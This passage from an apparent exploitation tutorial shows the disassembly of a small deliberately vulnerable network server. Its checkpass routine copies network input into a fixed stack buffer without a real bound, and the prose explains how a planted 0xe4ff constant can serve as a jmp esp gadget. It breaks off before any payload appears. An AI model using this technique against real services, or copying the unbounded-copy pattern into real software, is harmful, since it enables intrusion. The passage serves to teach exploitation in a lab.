 80487a2:   90                      nop
 80487a3:   90                      nop
 80487a4:   90                      nop
 80487a5:   90                      nop
 80487a6:   90                      nop
 80487a7:   90                      nop
 80487a8:   90                      nop
 80487a9:   90                      nop
 80487aa:   90                      nop
 80487ab:   90                      nop
 80487ac:   90                      nop
 80487ad:   90                      nop
 80487ae:   90                      nop
 80487af:   90                      nop

080487b0 <deregister_tm_clones>:
 80487b0:   b8 6f 91 04 08          mov    eax,0x804916f
 80487b5:   2d 6c 91 04 08          sub    eax,0x804916c
 80487ba:   83 f8 06                cmp    eax,0x6
 80487bd:   77 02                   ja     80487c1 <deregister_tm_clones+0x11>
 80487bf:   f3 c3                   repz ret 
 80487c1:   b8 00 00 00 00          mov    eax,0x0
 80487c6:   85 c0                   test   eax,eax
 80487c8:   74 f5                   je     80487bf <deregister_tm_clones+0xf>
 80487ca:   55                      push   ebp
 80487cb:   89 e5                   mov    ebp,esp
 80487cd:   83 ec 18                sub    esp,0x18
 80487d0:   c7 04 24 6c 91 04 08    mov    DWORD PTR [esp],0x804916c
 80487d7:   ff d0                   call   eax
 80487d9:   c9                      leave  
 80487da:   c3                      ret    
 80487db:   90                      nop
 80487dc:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]

080487e0 <register_tm_clones>:
 80487e0:   b8 6c 91 04 08          mov    eax,0x804916c
 80487e5:   2d 6c 91 04 08          sub    eax,0x804916c
 80487ea:   c1 f8 02                sar    eax,0x2
 80487ed:   89 c2                   mov    edx,eax
 80487ef:   c1 ea 1f                shr    edx,0x1f
 80487f2:   01 d0                   add    eax,edx
 80487f4:   d1 f8                   sar    eax,1
 80487f6:   75 02                   jne    80487fa <register_tm_clones+0x1a>
 80487f8:   f3 c3                   repz ret 
 80487fa:   ba 00 00 00 00          mov    edx,0x0
 80487ff:   85 d2                   test   edx,edx
 8048801:   74 f5                   je     80487f8 <register_tm_clones+0x18>
 8048803:   55                      push   ebp
 8048804:   89 e5                   mov    ebp,esp
 8048806:   83 ec 18                sub    esp,0x18
 8048809:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804880d:   c7 04 24 6c 91 04 08    mov    DWORD PTR [esp],0x804916c
 8048814:   ff d2                   call   edx
 8048816:   c9                      leave  
 8048817:   c3                      ret    
 8048818:   90                      nop
 8048819:   8d b4 26 00 00 00 00    lea    esi,[esi+eiz*1+0x0]

08048820 <__do_global_dtors_aux>:
 8048820:   80 3d 6c 91 04 08 00    cmp    BYTE PTR ds:0x804916c,0x0
 8048827:   75 13                   jne    804883c <__do_global_dtors_aux+0x1c>
 8048829:   55                      push   ebp
 804882a:   89 e5                   mov    ebp,esp
 804882c:   83 ec 08                sub    esp,0x8
 804882f:   e8 7c ff ff ff          call   80487b0 <deregister_tm_clones>
 8048834:   c6 05 6c 91 04 08 01    mov    BYTE PTR ds:0x804916c,0x1
 804883b:   c9                      leave  
 804883c:   f3 c3                   repz ret 
 804883e:   66 90                   xchg   ax,ax

08048840 <frame_dummy>:
 8048840:   a1 08 90 04 08          mov    eax,ds:0x8049008
 8048845:   85 c0                   test   eax,eax
 8048847:   74 1e                   je     8048867 <frame_dummy+0x27>
 8048849:   b8 00 00 00 00          mov    eax,0x0
 804884e:   85 c0                   test   eax,eax
 8048850:   74 15                   je     8048867 <frame_dummy+0x27>
 8048852:   55                      push   ebp
 8048853:   89 e5                   mov    ebp,esp
 8048855:   83 ec 18                sub    esp,0x18
 8048858:   c7 04 24 08 90 04 08    mov    DWORD PTR [esp],0x8049008
 804885f:   ff d0                   call   eax
 8048861:   c9                      leave  
 8048862:   e9 79 ff ff ff          jmp    80487e0 <register_tm_clones>
 8048867:   e9 74 ff ff ff          jmp    80487e0 <register_tm_clones>

0804886c <main>:
 804886c:   55                      push   ebp
 804886d:   89 e5                   mov    ebp,esp
 804886f:   83 e4 f0                and    esp,0xfffffff0
 8048872:   81 ec 40 04 00 00       sub    esp,0x440
 8048878:   c7 44 24 08 00 00 00    mov    DWORD PTR [esp+0x8],0x0
 804887f:   00 
 8048880:   c7 44 24 04 01 00 00    mov    DWORD PTR [esp+0x4],0x1
 8048887:   00 
 8048888:   c7 04 24 02 00 00 00    mov    DWORD PTR [esp],0x2
 804888f:   e8 cc fe ff ff          call   8048760 <socket@plt>
 8048894:   89 84 24 3c 04 00 00    mov    DWORD PTR [esp+0x43c],eax
 804889b:   c7 44 24 04 10 00 00    mov    DWORD PTR [esp+0x4],0x10
 80488a2:   00 
 80488a3:   8d 84 24 20 04 00 00    lea    eax,[esp+0x420]
 80488aa:   89 04 24                mov    DWORD PTR [esp],eax
 80488ad:   e8 8e fd ff ff          call   8048640 <bzero@plt>
 80488b2:   66 c7 84 24 20 04 00    mov    WORD PTR [esp+0x420],0x2
 80488b9:   00 02 00 
 80488bc:   c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0
 80488c3:   e8 68 fe ff ff          call   8048730 <htonl@plt>
 80488c8:   89 84 24 24 04 00 00    mov    DWORD PTR [esp+0x424],eax
 80488cf:   c7 04 24 0f 27 00 00    mov    DWORD PTR [esp],0x270f
 80488d6:   e8 a5 fd ff ff          call   8048680 <htons@plt>
 80488db:   66 89 84 24 22 04 00    mov    WORD PTR [esp+0x422],ax
 80488e2:   00 
 80488e3:   c7 44 24 08 10 00 00    mov    DWORD PTR [esp+0x8],0x10
 80488ea:   00 
 80488eb:   8d 84 24 20 04 00 00    lea    eax,[esp+0x420]
 80488f2:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80488f6:   8b 84 24 3c 04 00 00    mov    eax,DWORD PTR [esp+0x43c]
 80488fd:   89 04 24                mov    DWORD PTR [esp],eax
 8048900:   e8 eb fd ff ff          call   80486f0 <bind@plt>
 8048905:   89 84 24 38 04 00 00    mov    DWORD PTR [esp+0x438],eax
 804890c:   83 bc 24 38 04 00 00    cmp    DWORD PTR [esp+0x438],0x0
 8048913:   00 
 8048914:   74 20                   je     8048936 <main+0xca>
 8048916:   c7 44 24 04 0f 27 00    mov    DWORD PTR [esp+0x4],0x270f
 804891d:   00 
 804891e:   c7 04 24 90 8d 04 08    mov    DWORD PTR [esp],0x8048d90
 8048925:   e8 06 fd ff ff          call   8048630 <printf@plt>
 804892a:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048931:   e8 8a fd ff ff          call   80486c0 <exit@plt>
 8048936:   c7 44 24 04 00 04 00    mov    DWORD PTR [esp+0x4],0x400
 804893d:   00 
 804893e:   8b 84 24 3c 04 00 00    mov    eax,DWORD PTR [esp+0x43c]
 8048945:   89 04 24                mov    DWORD PTR [esp],eax
 8048948:   e8 f3 fd ff ff          call   8048740 <listen@plt>
 804894d:   c7 84 24 0c 04 00 00    mov    DWORD PTR [esp+0x40c],0x10
 8048954:   10 00 00 00 
 8048958:   8d 84 24 0c 04 00 00    lea    eax,[esp+0x40c]
 804895f:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048963:   8d 84 24 10 04 00 00    lea    eax,[esp+0x410]
 804896a:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 804896e:   8b 84 24 3c 04 00 00    mov    eax,DWORD PTR [esp+0x43c]
 8048975:   89 04 24                mov    DWORD PTR [esp],eax
 8048978:   e8 13 fd ff ff          call   8048690 <accept@plt>
 804897d:   89 84 24 34 04 00 00    mov    DWORD PTR [esp+0x434],eax
 8048984:   8d 84 24 0c 04 00 00    lea    eax,[esp+0x40c]
 804898b:   89 44 24 14             mov    DWORD PTR [esp+0x14],eax
 804898f:   8d 84 24 10 04 00 00    lea    eax,[esp+0x410]
 8048996:   89 44 24 10             mov    DWORD PTR [esp+0x10],eax
 804899a:   c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 80489a1:   00 
 80489a2:   c7 44 24 08 e8 03 00    mov    DWORD PTR [esp+0x8],0x3e8
 80489a9:   00 
 80489aa:   8d 44 24 24             lea    eax,[esp+0x24]
 80489ae:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 80489b2:   8b 84 24 34 04 00 00    mov    eax,DWORD PTR [esp+0x434]
 80489b9:   89 04 24                mov    DWORD PTR [esp],eax
 80489bc:   e8 9f fc ff ff          call   8048660 <recvfrom@plt>
 80489c1:   89 84 24 30 04 00 00    mov    DWORD PTR [esp+0x430],eax
 80489c8:   8d 54 24 24             lea    edx,[esp+0x24]
 80489cc:   8b 84 24 30 04 00 00    mov    eax,DWORD PTR [esp+0x430]
 80489d3:   01 d0                   add    eax,edx
 80489d5:   c6 00 00                mov    BYTE PTR [eax],0x0
 80489d8:   8d 44 24 24             lea    eax,[esp+0x24]
 80489dc:   89 04 24                mov    DWORD PTR [esp],eax
 80489df:   e8 a8 02 00 00          call   8048c8c <checkpass>
 80489e4:   89 84 24 38 04 00 00    mov    DWORD PTR [esp+0x438],eax
 80489eb:   83 bc 24 38 04 00 00    cmp    DWORD PTR [esp+0x438],0x0
 80489f2:   00 
 80489f3:   0f 84 8c 00 00 00       je     8048a85 <main+0x219>
 80489f9:   83 bc 24 38 04 00 00    cmp    DWORD PTR [esp+0x438],0x5
 8048a00:   05 
 8048a01:   74 45                   je     8048a48 <main+0x1dc>
 8048a03:   8d 44 24 24             lea    eax,[esp+0x24]
 8048a07:   89 44 24 14             mov    DWORD PTR [esp+0x14],eax
 8048a0b:   8b 84 24 10 04 00 00    mov    eax,DWORD PTR [esp+0x410]
 8048a12:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048a16:   8b 84 24 14 04 00 00    mov    eax,DWORD PTR [esp+0x414]
 8048a1d:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048a21:   8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048a28:   89 44 24 0c             mov    DWORD PTR [esp+0xc],eax
 8048a2c:   8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 8048a33:   89 44 24 10             mov    DWORD PTR [esp+0x10],eax
 8048a37:   8b 84 24 34 04 00 00    mov    eax,DWORD PTR [esp+0x434]
 8048a3e:   89 04 24                mov    DWORD PTR [esp],eax
 8048a41:   e8 41 01 00 00          call   8048b87 <senderror>
 8048a46:   eb 78                   jmp    8048ac0 <main+0x254>
 8048a48:   8b 84 24 10 04 00 00    mov    eax,DWORD PTR [esp+0x410]
 8048a4f:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048a53:   8b 84 24 14 04 00 00    mov    eax,DWORD PTR [esp+0x414]
 8048a5a:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048a5e:   8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048a65:   89 44 24 0c             mov    DWORD PTR [esp+0xc],eax
 8048a69:   8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 8048a70:   89 44 24 10             mov    DWORD PTR [esp+0x10],eax
 8048a74:   8b 84 24 34 04 00 00    mov    eax,DWORD PTR [esp+0x434]
 8048a7b:   89 04 24                mov    DWORD PTR [esp],eax
 8048a7e:   e8 76 01 00 00          call   8048bf9 <sendtoken>
 8048a83:   eb 3b                   jmp    8048ac0 <main+0x254>
 8048a85:   8b 84 24 10 04 00 00    mov    eax,DWORD PTR [esp+0x410]
 8048a8c:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048a90:   8b 84 24 14 04 00 00    mov    eax,DWORD PTR [esp+0x414]
 8048a97:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048a9b:   8b 84 24 18 04 00 00    mov    eax,DWORD PTR [esp+0x418]
 8048aa2:   89 44 24 0c             mov    DWORD PTR [esp+0xc],eax
 8048aa6:   8b 84 24 1c 04 00 00    mov    eax,DWORD PTR [esp+0x41c]
 8048aad:   89 44 24 10             mov    DWORD PTR [esp+0x10],eax
 8048ab1:   8b 84 24 34 04 00 00    mov    eax,DWORD PTR [esp+0x434]
 8048ab8:   89 04 24                mov    DWORD PTR [esp],eax
 8048abb:   e8 34 00 00 00          call   8048af4 <sendfile>
 8048ac0:   c7 04 24 b2 8d 04 08    mov    DWORD PTR [esp],0x8048db2
 8048ac7:   e8 d4 fb ff ff          call   80486a0 <puts@plt>
 8048acc:   8d 44 24 24             lea    eax,[esp+0x24]
 8048ad0:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048ad4:   c7 04 24 ca 8d 04 08    mov    DWORD PTR [esp],0x8048dca
 8048adb:   e8 50 fb ff ff          call   8048630 <printf@plt>
 8048ae0:   8b 84 24 34 04 00 00    mov    eax,DWORD PTR [esp+0x434]
 8048ae7:   89 04 24                mov    DWORD PTR [esp],eax
 8048aea:   e8 81 fc ff ff          call   8048770 <close@plt>
 8048aef:   e9 59 fe ff ff          jmp    804894d <main+0xe1>

08048af4 <sendfile>:
 8048af4:   55                      push   ebp
 8048af5:   89 e5                   mov    ebp,esp
 8048af7:   83 ec 38                sub    esp,0x38
 8048afa:   c7 44 24 04 cd 8d 04    mov    DWORD PTR [esp+0x4],0x8048dcd
 8048b01:   08 
 8048b02:   c7 04 24 cf 8d 04 08    mov    DWORD PTR [esp],0x8048dcf
 8048b09:   e8 f2 fb ff ff          call   8048700 <fopen@plt>
 8048b0e:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048b11:   83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
 8048b15:   74 56                   je     8048b6d <sendfile+0x79>
 8048b17:   eb 31                   jmp    8048b4a <sendfile+0x56>
 8048b19:   c7 44 24 14 10 00 00    mov    DWORD PTR [esp+0x14],0x10
 8048b20:   00 
 8048b21:   8d 45 0c                lea    eax,[ebp+0xc]
 8048b24:   89 44 24 10             mov    DWORD PTR [esp+0x10],eax
 8048b28:   c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 8048b2f:   00 
 8048b30:   c7 44 24 08 01 00 00    mov    DWORD PTR [esp+0x8],0x1
 8048b37:   00 
 8048b38:   8d 45 f0                lea    eax,[ebp-0x10]
 8048b3b:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048b3f:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048b42:   89 04 24                mov    DWORD PTR [esp],eax
 8048b45:   e8 d6 fb ff ff          call   8048720 <sendto@plt>
 8048b4a:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048b4d:   89 04 24                mov    DWORD PTR [esp],eax
 8048b50:   e8 1b fb ff ff          call   8048670 <_IO_getc@plt>
 8048b55:   89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 8048b58:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 8048b5b:   83 f8 ff                cmp    eax,0xffffffff
 8048b5e:   75 b9                   jne    8048b19 <sendfile+0x25>
 8048b60:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048b63:   89 04 24                mov    DWORD PTR [esp],eax
 8048b66:   e8 e5 fa ff ff          call   8048650 <fclose@plt>
 8048b6b:   eb 18                   jmp    8048b85 <sendfile+0x91>
 8048b6d:   c7 04 24 dc 8d 04 08    mov    DWORD PTR [esp],0x8048ddc
 8048b74:   e8 27 fb ff ff          call   80486a0 <puts@plt>
 8048b79:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048b80:   e8 3b fb ff ff          call   80486c0 <exit@plt>
 8048b85:   c9                      leave  
 8048b86:   c3                      ret    

08048b87 <senderror>:
 8048b87:   55                      push   ebp
 8048b88:   89 e5                   mov    ebp,esp
 8048b8a:   83 ec 28                sub    esp,0x28
 8048b8d:   c7 44 24 14 10 00 00    mov    DWORD PTR [esp+0x14],0x10
 8048b94:   00 
 8048b95:   8d 45 0c                lea    eax,[ebp+0xc]
 8048b98:   89 44 24 10             mov    DWORD PTR [esp+0x10],eax
 8048b9c:   c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 8048ba3:   00 
 8048ba4:   c7 44 24 08 10 00 00    mov    DWORD PTR [esp+0x8],0x10
 8048bab:   00 
 8048bac:   c7 44 24 04 fb 8d 04    mov    DWORD PTR [esp+0x4],0x8048dfb
 8048bb3:   08 
 8048bb4:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048bb7:   89 04 24                mov    DWORD PTR [esp],eax
 8048bba:   e8 61 fb ff ff          call   8048720 <sendto@plt>
 8048bbf:   8b 45 1c                mov    eax,DWORD PTR [ebp+0x1c]
 8048bc2:   89 04 24                mov    DWORD PTR [esp],eax
 8048bc5:   e8 06 fb ff ff          call   80486d0 <strlen@plt>
 8048bca:   c7 44 24 14 10 00 00    mov    DWORD PTR [esp+0x14],0x10
 8048bd1:   00 
 8048bd2:   8d 55 0c                lea    edx,[ebp+0xc]
 8048bd5:   89 54 24 10             mov    DWORD PTR [esp+0x10],edx
 8048bd9:   c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 8048be0:   00 
 8048be1:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048be5:   8b 45 1c                mov    eax,DWORD PTR [ebp+0x1c]
 8048be8:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048bec:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048bef:   89 04 24                mov    DWORD PTR [esp],eax
 8048bf2:   e8 29 fb ff ff          call   8048720 <sendto@plt>
 8048bf7:   c9                      leave  
 8048bf8:   c3                      ret    

08048bf9 <sendtoken>:
 8048bf9:   55                      push   ebp
 8048bfa:   89 e5                   mov    ebp,esp
 8048bfc:   83 ec 38                sub    esp,0x38
 8048bff:   c7 44 24 04 cd 8d 04    mov    DWORD PTR [esp+0x4],0x8048dcd
 8048c06:   08 
 8048c07:   c7 04 24 0c 8e 04 08    mov    DWORD PTR [esp],0x8048e0c
 8048c0e:   e8 ed fa ff ff          call   8048700 <fopen@plt>
 8048c13:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048c16:   83 7d f4 00             cmp    DWORD PTR [ebp-0xc],0x0
 8048c1a:   74 56                   je     8048c72 <sendtoken+0x79>
 8048c1c:   eb 31                   jmp    8048c4f <sendtoken+0x56>
 8048c1e:   c7 44 24 14 10 00 00    mov    DWORD PTR [esp+0x14],0x10
 8048c25:   00 
 8048c26:   8d 45 0c                lea    eax,[ebp+0xc]
 8048c29:   89 44 24 10             mov    DWORD PTR [esp+0x10],eax
 8048c2d:   c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 8048c34:   00 
 8048c35:   c7 44 24 08 01 00 00    mov    DWORD PTR [esp+0x8],0x1
 8048c3c:   00 
 8048c3d:   8d 45 f0                lea    eax,[ebp-0x10]
 8048c40:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048c44:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048c47:   89 04 24                mov    DWORD PTR [esp],eax
 8048c4a:   e8 d1 fa ff ff          call   8048720 <sendto@plt>
 8048c4f:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048c52:   89 04 24                mov    DWORD PTR [esp],eax
 8048c55:   e8 16 fa ff ff          call   8048670 <_IO_getc@plt>
 8048c5a:   89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 8048c5d:   8b 45 f0                mov    eax,DWORD PTR [ebp-0x10]
 8048c60:   83 f8 ff                cmp    eax,0xffffffff
 8048c63:   75 b9                   jne    8048c1e <sendtoken+0x25>
 8048c65:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048c68:   89 04 24                mov    DWORD PTR [esp],eax
 8048c6b:   e8 e0 f9 ff ff          call   8048650 <fclose@plt>
 8048c70:   eb 18                   jmp    8048c8a <sendtoken+0x91>
 8048c72:   c7 04 24 12 8e 04 08    mov    DWORD PTR [esp],0x8048e12
 8048c79:   e8 22 fa ff ff          call   80486a0 <puts@plt>
 8048c7e:   c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
 8048c85:   e8 36 fa ff ff          call   80486c0 <exit@plt>
 8048c8a:   c9                      leave  
 8048c8b:   c3                      ret    

08048c8c <checkpass>:
 8048c8c:   55                      push   ebp
 8048c8d:   89 e5                   mov    ebp,esp
 8048c8f:   81 ec 28 02 00 00       sub    esp,0x228
 8048c95:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048c98:   89 04 24                mov    DWORD PTR [esp],eax
 8048c9b:   e8 30 fa ff ff          call   80486d0 <strlen@plt>
 8048ca0:   83 c0 01                add    eax,0x1
 8048ca3:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048ca7:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048caa:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048cae:   8d 85 f0 fd ff ff       lea    eax,[ebp-0x210]
 8048cb4:   89 04 24                mov    DWORD PTR [esp],eax
 8048cb7:   e8 54 fa ff ff          call   8048710 <strncpy@plt>
 8048cbc:   8d 85 f0 fd ff ff       lea    eax,[ebp-0x210]
 8048cc2:   89 04 24                mov    DWORD PTR [esp],eax
 8048cc5:   e8 86 fa ff ff          call   8048750 <atoi@plt>
 8048cca:   89 45 f0                mov    DWORD PTR [ebp-0x10],eax
 8048ccd:   81 7d f0 ff e4 00 00    cmp    DWORD PTR [ebp-0x10],0xe4ff
 8048cd4:   75 09                   jne    8048cdf <checkpass+0x53>
 8048cd6:   c7 45 f4 05 00 00 00    mov    DWORD PTR [ebp-0xc],0x5
 8048cdd:   eb 19                   jmp    8048cf8 <checkpass+0x6c>
 8048cdf:   c7 44 24 04 2c 8e 04    mov    DWORD PTR [esp+0x4],0x8048e2c
 8048ce6:   08 
 8048ce7:   8d 85 f0 fd ff ff       lea    eax,[ebp-0x210]
 8048ced:   89 04 24                mov    DWORD PTR [esp],eax
 8048cf0:   e8 2b f9 ff ff          call   8048620 <strcmp@plt>
 8048cf5:   89 45 f4                mov    DWORD PTR [ebp-0xc],eax
 8048cf8:   8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
 8048cfb:   c9                      leave  
 8048cfc:   c3                      ret    
 8048cfd:   90                      nop
 8048cfe:   90                      nop
 8048cff:   90                      nop

08048d00 <__libc_csu_fini>:
 8048d00:   55                      push   ebp
 8048d01:   89 e5                   mov    ebp,esp
 8048d03:   5d                      pop    ebp
 8048d04:   c3                      ret    
 8048d05:   8d 74 26 00             lea    esi,[esi+eiz*1+0x0]
 8048d09:   8d bc 27 00 00 00 00    lea    edi,[edi+eiz*1+0x0]

08048d10 <__libc_csu_init>:
 8048d10:   55                      push   ebp
 8048d11:   89 e5                   mov    ebp,esp
 8048d13:   57                      push   edi
 8048d14:   56                      push   esi
 8048d15:   53                      push   ebx
 8048d16:   e8 4f 00 00 00          call   8048d6a <__i686.get_pc_thunk.bx>
 8048d1b:   81 c3 e5 03 00 00       add    ebx,0x3e5
 8048d21:   83 ec 1c                sub    esp,0x1c
 8048d24:   e8 b7 f8 ff ff          call   80485e0 <_init>
 8048d29:   8d bb 04 ff ff ff       lea    edi,[ebx-0xfc]
 8048d2f:   8d 83 00 ff ff ff       lea    eax,[ebx-0x100]
 8048d35:   29 c7                   sub    edi,eax
 8048d37:   c1 ff 02                sar    edi,0x2
 8048d3a:   85 ff                   test   edi,edi
 8048d3c:   74 24                   je     8048d62 <__libc_csu_init+0x52>
 8048d3e:   31 f6                   xor    esi,esi
 8048d40:   8b 45 10                mov    eax,DWORD PTR [ebp+0x10]
 8048d43:   89 44 24 08             mov    DWORD PTR [esp+0x8],eax
 8048d47:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 8048d4a:   89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048d4e:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]
 8048d51:   89 04 24                mov    DWORD PTR [esp],eax
 8048d54:   ff 94 b3 00 ff ff ff    call   DWORD PTR [ebx+esi*4-0x100]
 8048d5b:   83 c6 01                add    esi,0x1
 8048d5e:   39 fe                   cmp    esi,edi
 8048d60:   72 de                   jb     8048d40 <__libc_csu_init+0x30>
 8048d62:   83 c4 1c                add    esp,0x1c
 8048d65:   5b                      pop    ebx
 8048d66:   5e                      pop    esi
 8048d67:   5f                      pop    edi
 8048d68:   5d                      pop    ebp
 8048d69:   c3                      ret    

08048d6a <__i686.get_pc_thunk.bx>:
 8048d6a:   8b 1c 24                mov    ebx,DWORD PTR [esp]
 8048d6d:   c3                      ret    
 8048d6e:   90                      nop
 8048d6f:   90                      nop

Disassembly of section .fini:

08048d70 <_fini>:
 8048d70:   55                      push   ebp
 8048d71:   89 e5                   mov    ebp,esp
 8048d73:   53                      push   ebx
 8048d74:   83 ec 04                sub    esp,0x4
 8048d77:   e8 00 00 00 00          call   8048d7c <_fini+0xc>
 8048d7c:   5b                      pop    ebx
 8048d7d:   81 c3 84 03 00 00       add    ebx,0x384
 8048d83:   59                      pop    ecx
 8048d84:   5b                      pop    ebx
 8048d85:   c9                      leave  
 8048d86:   c3                      ret

There aren't any jmp esp's there, you can use grep to make it a little easier to go through:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
appuser@dev:~$ objdump -d ./app-net -M intel | grep jmp
 8048616:   ff 25 08 91 04 08       jmp    DWORD PTR ds:0x8049108
 8048620:   ff 25 0c 91 04 08       jmp    DWORD PTR ds:0x804910c
 804862b:   e9 e0 ff ff ff          jmp    8048610 <_init+0x30>
 8048630:   ff 25 10 91 04 08       jmp    DWORD PTR ds:0x8049110
 804863b:   e9 d0 ff ff ff          jmp    8048610 <_init+0x30>
 8048640:   ff 25 14 91 04 08       jmp    DWORD PTR ds:0x8049114
 804864b:   e9 c0 ff ff ff          jmp    8048610 <_init+0x30>
 8048650:   ff 25 18 91 04 08       jmp    DWORD PTR ds:0x8049118
 804865b:   e9 b0 ff ff ff          jmp    8048610 <_init+0x30>
 8048660:   ff 25 1c 91 04 08       jmp    DWORD PTR ds:0x804911c
 804866b:   e9 a0 ff ff ff          jmp    8048610 <_init+0x30>
 8048670:   ff 25 20 91 04 08       jmp    DWORD PTR ds:0x8049120
 804867b:   e9 90 ff ff ff          jmp    8048610 <_init+0x30>
 8048680:   ff 25 24 91 04 08       jmp    DWORD PTR ds:0x8049124
 804868b:   e9 80 ff ff ff          jmp    8048610 <_init+0x30>
 8048690:   ff 25 28 91 04 08       jmp    DWORD PTR ds:0x8049128
 804869b:   e9 70 ff ff ff          jmp    8048610 <_init+0x30>
 80486a0:   ff 25 2c 91 04 08       jmp    DWORD PTR ds:0x804912c
 80486ab:   e9 60 ff ff ff          jmp    8048610 <_init+0x30>
 80486b0:   ff 25 30 91 04 08       jmp    DWORD PTR ds:0x8049130
 80486bb:   e9 50 ff ff ff          jmp    8048610 <_init+0x30>
 80486c0:   ff 25 34 91 04 08       jmp    DWORD PTR ds:0x8049134
 80486cb:   e9 40 ff ff ff          jmp    8048610 <_init+0x30>
 80486d0:   ff 25 38 91 04 08       jmp    DWORD PTR ds:0x8049138
 80486db:   e9 30 ff ff ff          jmp    8048610 <_init+0x30>
 80486e0:   ff 25 3c 91 04 08       jmp    DWORD PTR ds:0x804913c
 80486eb:   e9 20 ff ff ff          jmp    8048610 <_init+0x30>
 80486f0:   ff 25 40 91 04 08       jmp    DWORD PTR ds:0x8049140
 80486fb:   e9 10 ff ff ff          jmp    8048610 <_init+0x30>
 8048700:   ff 25 44 91 04 08       jmp    DWORD PTR ds:0x8049144
 804870b:   e9 00 ff ff ff          jmp    8048610 <_init+0x30>
 8048710:   ff 25 48 91 04 08       jmp    DWORD PTR ds:0x8049148
 804871b:   e9 f0 fe ff ff          jmp    8048610 <_init+0x30>
 8048720:   ff 25 4c 91 04 08       jmp    DWORD PTR ds:0x804914c
 804872b:   e9 e0 fe ff ff          jmp    8048610 <_init+0x30>
 8048730:   ff 25 50 91 04 08       jmp    DWORD PTR ds:0x8049150
 804873b:   e9 d0 fe ff ff          jmp    8048610 <_init+0x30>
 8048740:   ff 25 54 91 04 08       jmp    DWORD PTR ds:0x8049154
 804874b:   e9 c0 fe ff ff          jmp    8048610 <_init+0x30>
 8048750:   ff 25 58 91 04 08       jmp    DWORD PTR ds:0x8049158
 804875b:   e9 b0 fe ff ff          jmp    8048610 <_init+0x30>
 8048760:   ff 25 5c 91 04 08       jmp    DWORD PTR ds:0x804915c
 804876b:   e9 a0 fe ff ff          jmp    8048610 <_init+0x30>
 8048770:   ff 25 60 91 04 08       jmp    DWORD PTR ds:0x8049160
 804877b:   e9 90 fe ff ff          jmp    8048610 <_init+0x30>
 8048862:   e9 79 ff ff ff          jmp    80487e0 <register_tm_clones>
 8048867:   e9 74 ff ff ff          jmp    80487e0 <register_tm_clones>
 8048a46:   eb 78                   jmp    8048ac0 <main+0x254>
 8048a83:   eb 3b                   jmp    8048ac0 <main+0x254>
 8048aef:   e9 59 fe ff ff          jmp    804894d <main+0xe1>
 8048b17:   eb 31                   jmp    8048b4a <sendfile+0x56>
 8048b6b:   eb 18                   jmp    8048b85 <sendfile+0x91>
 8048c1c:   eb 31                   jmp    8048c4f <sendtoken+0x56>
 8048c70:   eb 18                   jmp    8048c8a <sendtoken+0x91>
 8048cdd:   eb 19                   jmp    8048cf8 <checkpass+0x6c>

However, we do have another option. objdump shows the instructions as they would be run by the processor during normal operations, you don't necessarily have to use them this way, you can instead start execution in the middle of an instruction to create a new instruction.

This is what we are going to try to do (this was the reason for the extra check in the application too, as you will see).

First we need to figure out what opcodes jmp esp results in, we start by creating a simple assembly application with just jmp esp in it:

1
2
3
4
global _start

_start:
    jmp esp

Now we need to assemble and link it; and then disassemble it with objdump:

 1
 2
 3
 4
